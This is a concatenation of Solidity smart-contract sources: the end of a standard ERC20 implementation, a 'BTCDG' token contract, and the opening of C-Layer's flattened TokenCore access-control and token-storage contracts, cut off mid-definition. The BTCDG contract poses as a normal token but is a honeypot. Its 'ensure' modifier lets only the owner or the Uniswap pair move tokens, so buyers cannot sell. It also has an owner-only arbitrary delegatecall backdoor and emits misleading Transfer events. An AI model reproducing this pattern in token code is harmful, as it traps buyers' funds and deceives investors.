return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract BTCDG {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**************************************************************************
* ____ _
* / ___| | | __ _ _ _ ___ _ __
* | | _____ | | / _` || | | | / _ \| '__|
* | |___|_____|| |___| (_| || |_| || __/| |
* \____| |_____|\__,_| \__, | \___||_|
* |___/
*
**************************************************************************
*
* The MIT License (MIT)
*
* Copyright (c) 2016-2020 Cyril Lapinte / C-Layer
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
**************************************************************************
*
* Flatten Contract: TokenCore
*
* Git Commit:
* https://github.com/c-layer/contracts/commit/0adcf9f214ae3f7b709cc41ec5dcb68e79d68772
*
* SPDX-License-Identifier: MIT
**************************************************************************/
// File: @c-layer/common/contracts/interface/IAccessDefinitions.sol
pragma solidity ^0.6.0;
/**
* @title IAccessDefinitions
* @dev IAccessDefinitions
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*/
contract IAccessDefinitions {
// Hardcoded role granting all - non sysop - privileges
bytes32 internal constant ALL_PRIVILEGES = bytes32("AllPrivileges");
address internal constant ALL_PROXIES = address(0x416c6C50726F78696573); // "AllProxies"
// Roles
bytes32 internal constant FACTORY_CORE_ROLE = bytes32("FactoryCoreRole");
bytes32 internal constant FACTORY_PROXY_ROLE = bytes32("FactoryProxyRole");
// Sys Privileges
bytes4 internal constant DEFINE_ROLE_PRIV =
bytes4(keccak256("defineRole(bytes32,bytes4[])"));
bytes4 internal constant ASSIGN_OPERATORS_PRIV =
bytes4(keccak256("assignOperators(bytes32,address[])"));
bytes4 internal constant REVOKE_OPERATORS_PRIV =
bytes4(keccak256("revokeOperators(address[])"));
bytes4 internal constant ASSIGN_PROXY_OPERATORS_PRIV =
bytes4(keccak256("assignProxyOperators(address,bytes32,address[])"));
}
// File: @c-layer/common/contracts/interface/IOperableStorage.sol
pragma solidity ^0.6.0;
/**
* @title IOperableStorage
* @dev The Operable storage
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
*/
abstract contract IOperableStorage is IAccessDefinitions {
struct RoleData {
mapping(bytes4 => bool) privileges;
}
struct OperatorData {
bytes32 coreRole;
mapping(address => bytes32) proxyRoles;
}
function coreRole(address _address) virtual public view returns (bytes32);
function proxyRole(address _proxy, address _address) virtual public view returns (bytes32);
function rolePrivilege(bytes32 _role, bytes4 _privilege) virtual public view returns (bool);
function roleHasPrivilege(bytes32 _role, bytes4 _privilege) virtual public view returns (bool);
function hasCorePrivilege(address _address, bytes4 _privilege) virtual public view returns (bool);
function hasProxyPrivilege(address _address, address _proxy, bytes4 _privilege) virtual public view returns (bool);
event RoleDefined(bytes32 role);
event OperatorAssigned(bytes32 role, address operator);
event ProxyOperatorAssigned(address proxy, bytes32 role, address operator);
event OperatorRevoked(address operator);
}
// File: @c-layer/common/contracts/interface/IOperableCore.sol
pragma solidity ^0.6.0;
/**
* @title IOperableCore
* @dev The Operable contract enable the restrictions of operations to a set of operators
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
*/
abstract contract IOperableCore is IOperableStorage {
function defineRole(bytes32 _role, bytes4[] memory _privileges) virtual public returns (bool);
function assignOperators(bytes32 _role, address[] memory _operators) virtual public returns (bool);
function assignProxyOperators(
address _proxy, bytes32 _role, address[] memory _operators) virtual public returns (bool);
function revokeOperators(address[] memory _operators) virtual public returns (bool);
}
// File: @c-layer/common/contracts/operable/Ownable.sol
pragma solidity ^0.6.0;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* @dev functions, this simplifies the implementation of "user permissions".
*
*
* Error messages
* OW01: Message sender is not the owner
* OW02: New owner must be valid
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "OW01");
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "OW02");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: @c-layer/common/contracts/core/Storage.sol
pragma solidity ^0.6.0;
/**
* @title Storage
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
**/
contract Storage {
mapping(address => uint256) public proxyDelegateIds;
mapping(uint256 => address) public delegates;
}
// File: @c-layer/common/contracts/core/OperableStorage.sol
pragma solidity ^0.6.0;
/**
* @title OperableStorage
* @dev The Operable contract enable the restrictions of operations to a set of operators
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
*/
contract OperableStorage is IOperableStorage, Ownable, Storage {
// Mapping address => role
// Mapping role => bytes4 => bool
mapping (address => OperatorData) internal operators;
mapping (bytes32 => RoleData) internal roles;
/**
* @dev core role
* @param _address operator address
*/
function coreRole(address _address) override public view returns (bytes32) {
return operators[_address].coreRole;
}
/**
* @dev proxy role
* @param _address operator address
*/
function proxyRole(address _proxy, address _address)
override public view returns (bytes32)
{
return operators[_address].proxyRoles[_proxy];
}
/**
* @dev has role privilege
* @dev low level access to role privilege
* @dev ignores ALL_PRIVILEGES role
*/
function rolePrivilege(bytes32 _role, bytes4 _privilege)
override public view returns (bool)
{
return roles[_role].privileges[_privilege];
}
/**
* @dev roleHasPrivilege
*/
function roleHasPrivilege(bytes32 _role, bytes4 _privilege) override public view returns (bool) {
return (_role == ALL_PRIVILEGES) || roles[_role].privileges[_privilege];
}
/**
* @dev hasCorePrivilege
* @param _address operator address
*/
function hasCorePrivilege(address _address, bytes4 _privilege) override public view returns (bool) {
bytes32 role = operators[_address].coreRole;
return (role == ALL_PRIVILEGES) || roles[role].privileges[_privilege];
}
/**
* @dev hasProxyPrivilege
* @dev the default proxy role can be set with proxy address(0)
* @param _address operator address
*/
function hasProxyPrivilege(address _address, address _proxy, bytes4 _privilege) override public view returns (bool) {
OperatorData storage data = operators[_address];
bytes32 role = (data.proxyRoles[_proxy] != bytes32(0)) ?
data.proxyRoles[_proxy] : data.proxyRoles[ALL_PROXIES];
return (role == ALL_PRIVILEGES) || roles[role].privileges[_privilege];
}
}
// File: @c-layer/common/contracts/convert/BytesConvert.sol
pragma solidity ^0.6.0;
/**
* @title BytesConvert
* @dev Convert bytes into different types
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error Messages:
* BC01: source must be a valid 32-bytes length
* BC02: source must not be greater than 32-bytes
**/
library BytesConvert {
/**
* @dev toUint256
*/
function toUint256(bytes memory _source) internal pure returns (uint256 result) {
require(_source.length == 32, "BC01");
// solhint-disable-next-line no-inline-assembly
assembly {
result := mload(add(_source, 0x20))
}
}
/**
* @dev toBytes32
*/
function toBytes32(bytes memory _source) internal pure returns (bytes32 result) {
require(_source.length <= 32, "BC02");
// solhint-disable-next-line no-inline-assembly
assembly {
result := mload(add(_source, 0x20))
}
}
}
// File: @c-layer/common/contracts/interface/IProxy.sol
pragma solidity ^0.6.0;
/**
* @title IProxy
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
**/
interface IProxy {
function core() external view returns (address);
}
// File: @c-layer/common/contracts/core/Proxy.sol
pragma solidity ^0.6.0;
/**
* @title Proxy
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
* PR01: Only accessible by core
* PR02: Core request should be successful
**/
contract Proxy is IProxy {
address public override core;
/**
* @dev Throws if called by any account other than a core
*/
modifier onlyCore {
require(core == msg.sender, "PR01");
_;
}
constructor(address _core) public {
core = _core;
}
/**
* @dev update the core
*/
function updateCore(address _core)
public onlyCore returns (bool)
{
core = _core;
return true;
}
/**
* @dev enforce static immutability (view)
* @dev in order to read core value through internal core delegateCall
*/
function staticCallUint256() internal view returns (uint256 result) {
(bool status, bytes memory value) = core.staticcall(msg.data);
require(status, "PR02");
// solhint-disable-next-line no-inline-assembly
assembly {
result := mload(add(value, 0x20))
}
}
}
// File: @c-layer/common/contracts/core/Core.sol
pragma solidity ^0.6.0;
/**
* @title Core
* @dev Solidity version 0.5.x prevents to mark as view
* @dev functions using delegate call.
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
* CO01: Only Proxy may access the function
* CO02: Address 0 is an invalid delegate address
* CO03: Delegatecall should be successful
* CO04: DelegateId must be greater than 0
* CO05: Proxy must exist
* CO06: Proxy must be already defined
* CO07: Proxy update must be successful
**/
contract Core is Storage {
using BytesConvert for bytes;
modifier onlyProxy {
require(delegates[proxyDelegateIds[msg.sender]] != address(0), "CO01");
_;
}
function delegateCall(address _proxy) internal returns (bool status)
{
uint256 delegateId = proxyDelegateIds[_proxy];
address delegate = delegates[delegateId];
require(delegate != address(0), "CO02");
// solhint-disable-next-line avoid-low-level-calls
(status, ) = delegate.delegatecall(msg.data);
require(status, "CO03");
}
function delegateCallUint256(address _proxy)
internal returns (uint256)
{
return delegateCallBytes(_proxy).toUint256();
}
function delegateCallBytes(address _proxy)
internal returns (bytes memory result)
{
bool status;
uint256 delegateId = proxyDelegateIds[_proxy];
address delegate = delegates[delegateId];
require(delegate != address(0), "CO02");
// solhint-disable-next-line avoid-low-level-calls
(status, result) = delegate.delegatecall(msg.data);
require(status, "CO03");
}
function defineDelegateInternal(uint256 _delegateId, address _delegate) internal returns (bool) {
require(_delegateId != 0, "CO04");
delegates[_delegateId] = _delegate;
return true;
}
function defineProxyInternal(address _proxy, uint256 _delegateId)
virtual internal returns (bool)
{
require(delegates[_delegateId] != address(0), "CO02");
require(_proxy != address(0), "CO05");
proxyDelegateIds[_proxy] = _delegateId;
return true;
}
function migrateProxyInternal(address _proxy, address _newCore)
internal returns (bool)
{
require(proxyDelegateIds[_proxy] != 0, "CO06");
require(Proxy(_proxy).updateCore(_newCore), "CO07");
return true;
}
function removeProxyInternal(address _proxy)
internal returns (bool)
{
require(proxyDelegateIds[_proxy] != 0, "CO06");
delete proxyDelegateIds[_proxy];
return true;
}
}
// File: @c-layer/common/contracts/core/OperableCore.sol
pragma solidity ^0.6.0;
/**
* @title OperableCore
* @dev The Operable contract enable the restrictions of operations to a set of operators
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*
* Error messages
* OC01: Sender is not a system operator
* OC02: Sender is not a core operator
* OC03: Sender is not a proxy operator
* OC04: AllPrivileges is a reserved role
* OC05: AllProxies is not a valid proxy address
*/
contract OperableCore is IOperableCore, Core, OperableStorage {
constructor(address[] memory _sysOperators) public {
assignOperators(ALL_PRIVILEGES, _sysOperators);
assignProxyOperators(ALL_PROXIES, ALL_PRIVILEGES, _sysOperators);
}
/**
* @dev onlySysOp modifier
* @dev for safety reason, core owner
* @dev can always define roles and assign or revoke operatos
*/
modifier onlySysOp() {
require(msg.sender == owner || hasCorePrivilege(msg.sender, msg.sig), "OC01");
_;
}
/**
* @dev onlyCoreOp modifier
*/
modifier onlyCoreOp() {
require(hasCorePrivilege(msg.sender, msg.sig), "OC02");
_;
}
/**
* @dev onlyProxyOp modifier
*/
modifier onlyProxyOp(address _proxy) {
require(hasProxyPrivilege(msg.sender, _proxy, msg.sig), "OC03");
_;
}
/**
* @dev defineRoles
* @param _role operator role
* @param _privileges as 4 bytes of the method
*/
function defineRole(bytes32 _role, bytes4[] memory _privileges)
override public onlySysOp returns (bool)
{
require(_role != ALL_PRIVILEGES, "OC04");
delete roles[_role];
for (uint256 i=0; i < _privileges.length; i++) {
roles[_role].privileges[_privileges[i]] = true;
}
emit RoleDefined(_role);
return true;
}
/**
* @dev assignOperators
* @param _role operator role. May be a role not defined yet.
* @param _operators addresses
*/
function assignOperators(bytes32 _role, address[] memory _operators)
override public onlySysOp returns (bool)
{
for (uint256 i=0; i < _operators.length; i++) {
operators[_operators[i]].coreRole = _role;
emit OperatorAssigned(_role, _operators[i]);
}
return true;
}
function defineProxyInternal(address _proxy, uint256 _delegateId)
override internal returns (bool)
{
require(_proxy != ALL_PROXIES, "OC05");
return super.defineProxyInternal(_proxy, _delegateId);
}
/**
* @dev assignProxyOperators
* @param _role operator role. May be a role not defined yet.
* @param _operators addresses
*/
function assignProxyOperators(
address _proxy, bytes32 _role, address[] memory _operators)
override public onlySysOp returns (bool)
{
for (uint256 i=0; i < _operators.length; i++) {
operators[_operators[i]].proxyRoles[_proxy] = _role;
emit ProxyOperatorAssigned(_proxy, _role, _operators[i]);
}
return true;
}
/**
* @dev removeOperator
* @param _operators addresses
*/
function revokeOperators(address[] memory _operators)
override public onlySysOp returns (bool)
{
for (uint256 i=0; i < _operators.length; i++) {
delete operators[_operators[i]];
emit OperatorRevoked(_operators[i]);
}
return true;
}
}
// File: @c-layer/common/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/interface/IRule.sol
pragma solidity ^0.6.0;
/**
* @title IRule
* @dev IRule interface
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
**/
interface IRule {
function isAddressValid(address _address) external view returns (bool);
function isTransferValid(address _from, address _to, uint256 _amount)
external view returns (bool);
}
// File: @c-layer/oracle/contracts/interface/IUserRegistry.sol
pragma solidity ^0.6.0;
/**
* @title IUserRegistry
* @dev IUserRegistry interface
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
**/
abstract contract IUserRegistry {
enum KeyCode {
KYC_LIMIT_KEY,
RECEPTION_LIMIT_KEY,
EMISSION_LIMIT_KEY
}
event UserRegistered(uint256 indexed userId, address address_, uint256 validUntilTime);
event AddressAttached(uint256 indexed userId, address address_);
event AddressDetached(uint256 indexed userId, address address_);
event UserSuspended(uint256 indexed userId);
event UserRestored(uint256 indexed userId);
event UserValidity(uint256 indexed userId, uint256 validUntilTime);
event UserExtendedKey(uint256 indexed userId, uint256 key, uint256 value);
event UserExtendedKeys(uint256 indexed userId, uint256[] values);
event ExtendedKeysDefinition(uint256[] keys);
function registerManyUsersExternal(address[] calldata _addresses, uint256 _validUntilTime)
virtual external returns (bool);
function registerManyUsersFullExternal(
address[] calldata _addresses,
uint256 _validUntilTime,
uint256[] calldata _values) virtual external returns (bool);
function attachManyAddressesExternal(uint256[] calldata _userIds, address[] calldata _addresses)
virtual external returns (bool);
function detachManyAddressesExternal(address[] calldata _addresses)
virtual external returns (bool);
function suspendManyUsersExternal(uint256[] calldata _userIds) virtual external returns (bool);
function restoreManyUsersExternal(uint256[] calldata _userIds) virtual external returns (bool);
function updateManyUsersExternal(
uint256[] calldata _userIds,
uint256 _validUntilTime,
bool _suspended) virtual external returns (bool);
function updateManyUsersExtendedExternal(
uint256[] calldata _userIds,
uint256 _key, uint256 _value) virtual external returns (bool);
function updateManyUsersAllExtendedExternal(
uint256[] calldata _userIds,
uint256[] calldata _values) virtual external returns (bool);
function updateManyUsersFullExternal(
uint256[] calldata _userIds,
uint256 _validUntilTime,
bool _suspended,
uint256[] calldata _values) virtual external returns (bool);
function name() virtual public view returns (string memory);
function currency() virtual public view returns (bytes32);
function userCount() virtual public view returns (uint256);
function userId(address _address) virtual public view returns (uint256);
function validUserId(address _address) virtual public view returns (uint256);
function validUser(address _address, uint256[] memory _keys)
virtual public view returns (uint256, uint256[] memory);
function validity(uint256 _userId) virtual public view returns (uint256, bool);
function extendedKeys() virtual public view returns (uint256[] memory);
function extended(uint256 _userId, uint256 _key)
virtual public view returns (uint256);
function manyExtended(uint256 _userId, uint256[] memory _key)
virtual public view returns (uint256[] memory);
function isAddressValid(address _address) virtual public view returns (bool);
function isValid(uint256 _userId) virtual public view returns (bool);
function defineExtendedKeys(uint256[] memory _extendedKeys) virtual public returns (bool);
function registerUser(address _address, uint256 _validUntilTime)
virtual public returns (bool);
function registerUserFull(
address _address,
uint256 _validUntilTime,
uint256[] memory _values) virtual public returns (bool);
function attachAddress(uint256 _userId, address _address) virtual public returns (bool);
function detachAddress(address _address) virtual public returns (bool);
function detachSelf() virtual public returns (bool);
function detachSelfAddress(address _address) virtual public returns (bool);
function suspendUser(uint256 _userId) virtual public returns (bool);
function restoreUser(uint256 _userId) virtual public returns (bool);
function updateUser(uint256 _userId, uint256 _validUntilTime, bool _suspended)
virtual public returns (bool);
function updateUserExtended(uint256 _userId, uint256 _key, uint256 _value)
virtual public returns (bool);
function updateUserAllExtended(uint256 _userId, uint256[] memory _values)
virtual public returns (bool);
function updateUserFull(
uint256 _userId,
uint256 _validUntilTime,
bool _suspended,
uint256[] memory _values) virtual public returns (bool);
}
// File: @c-layer/oracle/contracts/interface/IRatesProvider.sol
pragma solidity ^0.6.0;
/**
* @title IRatesProvider
* @dev IRatesProvider interface
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*/
abstract contract IRatesProvider {
function defineRatesExternal(uint256[] calldata _rates) virtual external returns (bool);
function name() virtual public view returns (string memory);
function rate(bytes32 _currency) virtual public view returns (uint256);
function currencies() virtual public view
returns (bytes32[] memory, uint256[] memory, uint256);
function rates() virtual public view returns (uint256, uint256[] memory);
function convert(uint256 _amount, bytes32 _fromCurrency, bytes32 _toCurrency)
virtual public view returns (uint256);
function defineCurrencies(
bytes32[] memory _currencies,
uint256[] memory _decimals,
uint256 _rateOffset) virtual public returns (bool);
function defineRates(uint256[] memory _rates) virtual public returns (bool);
event RateOffset(uint256 rateOffset);
event Currencies(bytes32[] currencies, uint256[] decimals);
event Rate(bytes32 indexed currency, uint256 rate);
}
// File: contracts/interface/ITokenStorage.sol
pragma solidity ^0.6.0;
/**
* @title ITokenStorage
* @dev Token storage interface
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*/
abstract contract ITokenStorage {
enum TransferCode {
UNKNOWN,
OK,
INVALID_SENDER,
NO_RECIPIENT,
INSUFFICIENT_TOKENS,
LOCKED,
FROZEN,
RULE,
INVALID_RATE,
NON_REGISTRED_SENDER,
NON_REGISTRED_RECEIVER,
LIMITED_EMISSION,
LIMITED_RECEPTION
}
enum Scope {
DEFAULT
}
enum AuditStorageMode {
ADDRESS,
USER_ID,
SHARED
}
enum AuditMode {
NEVER,
ALWAYS,
ALWAYS_TRIGGERS_EXCLUDED,
WHEN_TRIGGERS_MATCHED
}
event OracleDefined(
IUserRegistry userRegistry,
IRatesProvider ratesProvider,
address currency);
event TokenDelegateDefined(uint256 indexed delegateId, address delegate, uint256[] configurations);
event TokenDelegateRemoved(uint256 indexed delegateId);
event AuditConfigurationDefined(
uint256 indexed configurationId,
uint256 scopeId,
AuditMode mode,
uint256[] senderKeys,
uint256[] receiverKeys,
IRatesProvider ratesProvider,
address currency);
event AuditTriggersDefined(uint256 indexed configurationId, address[] triggers, bool[] tokens, bool[] senders, bool[] receivers);
event AuditsRemoved(address scope, uint256 scopeId);
event SelfManaged(address indexed holder, bool active);
event Minted(address indexed token, uint256 amount);
event MintFinished(address indexed token);
event Burned(address indexed token, uint256 amount);
event RulesDefined(address indexed token, IRule[] rules);
event LockDefined(
address indexed token,
uint256 startAt,
uint256 endAt,
address[] exceptions
);
event Seize(address indexed token, address account, uint256 amount);
event Freeze(address address_, uint256 until);
event ClaimDefined(
address indexed token,
address indexed claim,
uint256 claimAt);
event TokenDefined(
address indexed token,
uint256 delegateId,
string name,
string symbol,
uint256 decimals);
event TokenMigrated(address indexed token, address newCore);
event TokenRemoved(address indexed token);
event LogTransferData(
address token, address caller, address sender, address receiver,
uint256 senderId, uint256[] senderKeys, bool senderFetched,
uint256 receiverId, uint256[] receiverKeys, bool receiverFetched,
uint256 value, uint256 convertedValue);
event LogTransferAuditData(
uint256 auditConfigurationId, uint256 scopeId,
address currency, IRatesProvider ratesProvider,
bool senderAuditRequired, bool receiverAuditRequired);
event LogAuditData(
uint64 createdAt, uint64 lastTransactionAt,
uint256 cumulatedEmission, uint256 cumulatedReception
);
}
// File: contracts/TokenStorage.sol
pragma solidity ^0.6.0;
/**
* @title Token storage
* @dev Token storage
*
* @author Cyril Lapinte - <cyril.lapinte@openfiz.com>
*/
contract TokenStorage is ITokenStorage, OperableStorage {
using SafeMath for uint256;
struct Lock {
uint256 startAt;
uint256 endAt;
mapping(address => bool) exceptions;
address[] exceptionsList;
}
struct TokenData {
string name;
string symbol;
uint256 decimals;
uint256 totalSupply;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
bool mintingFinished;
uint256 allTimeMinted;
uint256 allTimeBurned;
uint256 allTimeSeized;
mapping (address => uint256) frozenUntils;
Lock lock;
IRule[] rules;
}
struct AuditData {
uint64 createdAt;
uint64 lastTransactionAt;
uint256 cumulatedEmission;
uint256 cumulatedReception;
}
struct AuditStorage {
address currency;
AuditData sharedData;
mapping(uint256 => AuditData) userData;
mapping(address => AuditData) addressData;
}
struct AuditConfiguration {
uint256 scopeId;
AuditMode mode;
uint256[] senderKeys;
uint256[] receiverKeys;
IRatesProvider ratesProvider;
mapping (address => bool) triggerSenders;
mapping (address => bool) triggerReceivers;
mapping (address => bool) triggerTokens;
}
